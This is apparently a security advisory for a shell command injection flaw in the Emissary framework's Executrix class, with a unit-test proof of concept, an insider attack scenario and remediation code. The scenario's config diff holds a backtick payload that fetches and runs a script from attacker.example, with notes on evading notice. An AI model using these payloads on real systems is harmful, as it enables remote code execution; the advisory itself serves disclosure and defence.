Vulnerability GHSA-3p24-9x7v-7789

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

package emissary.util.shell;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
 * enabling command injection via getCommand().
 *
 * Mirrors exactly what UnixCommandPlace.runCommandOn() does:
 *   TempFileNames names = executrix.createTempFilenames();
 *   String[] cmd = executrix.getCommand(names);
 *   executrix.execute(cmd, ...);
 */
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {

    @Test
    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
        Path marker = tmpDir.resolve("injected");

        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()
        // while still demonstrating the shell executes the injected expression.
        String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation — accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"

        // Execute — same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
    }
}

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUT_FILE_ENDING → <OUTPUT_PATH> / <OUTPUT_NAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.

Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY     = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000"
+SERVICE_NAME    = "UCP"
+SERVICE_TYPE    = "TRANSFORM"
+PLACE_NAME      = "UnixCommandPlace"
+SERVICE_COST    = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY   = "LOWER_CASE"
+EXEC_COMMAND    = "cat <INPUT_PATH>"
+OUTPUT_TYPE     = "STD"
+IN_FILE_ENDING  = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.

Recommended Remediation

Primary fix — validate inFileEnding and outFileEnding on assignment

Apply the same allowlist pattern already used for placeName:

// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");

public void setInFileEnding(final String argInFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
        throw new IllegalArgumentException(
            "IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
    }
    this.inFileEnding = argInFileEnding;
}

public void setOutFileEnding(final String argOutFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
        throw new IllegalArgumentException(
            "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
    }
    this.outFileEnding = argOutFileEnding;
}

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\'''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
}

// Then:
c = c.replace("<INPUT_PATH>",  shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>",  shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.